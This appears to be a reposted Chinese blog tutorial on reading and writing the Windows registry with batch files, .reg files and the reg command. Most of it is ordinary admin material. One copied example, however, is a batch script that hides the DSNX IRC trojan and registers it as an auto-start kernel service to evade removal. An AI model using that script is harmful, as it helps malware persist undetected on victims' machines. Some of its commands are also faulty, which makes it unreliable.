# 批处理操作注册表完全攻略(读取注册表/写入注册表等)

更新时间：2012年04月10日 17:28:08 转载 作者：

> 批处理操作注册表完全攻略(读取注册表/写入注册表等),有时候确实很需要对注册表进行操作

一，批处理生成.Reg文件操作注册表

用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可!

这里，着重要了解.reg文件操作注册表的方法。

首先.reg文件首行必须是：Windows Registry Editor Version 5.00。然后才是操作注册表的内容。

(就和从注册表中导出的文件格式一致)

1，创建子项

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“TTT”的子项。

2，创建一个项目名称

代码如下: 复制代码

```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"Name"="TTT BLOG"
"EMail"="taoether@gmail.com"
"URL"="http://www.taoyoyo.net/ttt/"
"Type"=dword:02
```

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type这四个项目

Name、Email、URL的类型是“String Value”

Type的类型是“DWORD Value”

(附：windows注册表值类型：

REG_SZ 字符串值

REG_BINARY 二进制值

REG_DWORD DWORD值

REG_MULTI_SZ 多字符串值

REG_EXPAND_SZ 可扩充字符串值)

3，修改键值

修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。就象新建一样即可。可以一次修改多个项目。

4，删除项目名称

代码如下: 复制代码

```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"EMail"=-
```

执行该脚本，"EMail"就被删除了；

5，删除子项

代码如下: 复制代码

```
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
[-HKEY_LOCAL_MACHINE\SOFTWARE\DDD]
```

执行该脚本，子项ttt和ddd就已经被删除了。

6，.reg文件执行方法

1)直接执行reg文件

2)regedit /s *.reg (/s不用确认)

3)reg import *.reg

7，其实，我们也可以用dll文件代替reg文件。

批处理例1：

代码如下: 复制代码

```
@echo off
echo Windows Registry Editor Version 5.00 >t1.reg
echo.
echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg
echo "Name"="TTT BLOG" >>t1.reg
echo "EMail"="taoether@gmail.com" >>t1.reg
echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg
echo "Type"=dword:02 >>t1.reg
regedit /s t1.reg
del /q t1.reg
pause
```

批处理2：(这个例子是别人的，不是很懂的说~~)

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对

面以配置好地IRC木马DSNX为例 (名为windrv32.exe)

代码如下: 复制代码

```
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
```

```
@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]
@REM 这样不是更安全^_^.
```

二，reg命令操作注册表

Reg命令是Windows提供的一下专门操作注册表的工具。可以方便的查询，添加，删除，导入，导出，比较等操作。具体可以参考系统自带的帮助..

```
REG Operation [参数列表]
Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT ]
```

1，查询所有子项和值

```
D:\>reg query hklm\software\TTT

! REG.EXE VERSION 3.0

HKEY_LOCAL_MACHINE\software\TTT
Name REG_SZ TTT BLOG
EMail REG_SZ taoether@gmail.com
URL REG_SZ http://www.taoyoyo.net/ttt/
Type REG_DWORD 0x2
```

2，查询特定项

```
D:\>reg query hklm\software\ttt /v url

! REG.EXE VERSION 3.0

HKEY_LOCAL_MACHINE\software\ttt
url REG_SZ http://www.taoyoyo.net/ttt/
```

这里最难的是如何取得我们想要的字符串呢，困惑了好长时间，终于找到方法了。
原来也没有别的好办法，只能用find，for循环来截取我们需要的内容。(下面的例子如果看不懂，请参考本博客另外的文章：DOS循环-bat/批处理fo
例如我们要得到url的键值： http://www.taoyoyo.net/ttt/，可以用以下脚本：

代码如下: 复制代码

```
@ECHO OFF
for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"') do SET "pURL=%%k"
echo TTT BLOG的URL值为：%pURL%
```

保存为Test.bat，运行结果如下：

```
D:\>test.bat
```

TTT BLOG的URL值为：http://www.taoyoyo.net/ttt/

不行了，家里的电脑不知为啥，在命令行中一运行“REG”命令(包括reg /?)，CPU就占用100%，看任务管理器，CMD占用百分之八十多，不知道为啥运行其他的命令就没有问题，包括regedit /s……

查了一下，网上有说是中了木马的原因，但查了一下，也不象。既没有找到相关文件，而且运行其它的命令时，没有问题……
先不搞了，正好手头有个REG命令详解，等会整理一下!

因为查毒，用自己做的Clear.bat清理了一下C盘，居然清理出1个G的空间来，原来只剩几百兆了……windows的垃圾真是多啊~~不要忘了经常清理~

再发布两个做好的批处理文件，可以自动监控OutLook Express，有需要的可以点击下载……
1，OEMonitorCount.bat　功能：可以重设注册表中OE打开次数，避免超过100次时提示压缩
2，OEMonitorSize.bat　功能：可以监控Outlook Express邮件文件(*.dbx)大小，当大于指定大小时，生成报警日志。

这两个文件，可以加到启动组里，每次开机自动运行!
搞这两个主要是为了解决公司经常出现的一些问题：
1)经常有人的邮件文件超过几个G；
2)有时而且根据提示压缩后，可能出现邮件丢失。

刚发现，下载后的文件又加了“htm"的后缀，请去掉此后缀再使用!
另外下载时，请使用下面的链接，如：千脑电信高速下载地址、千脑网通高速下载地址。上面的VIP链接是专供千脑用户使用的~~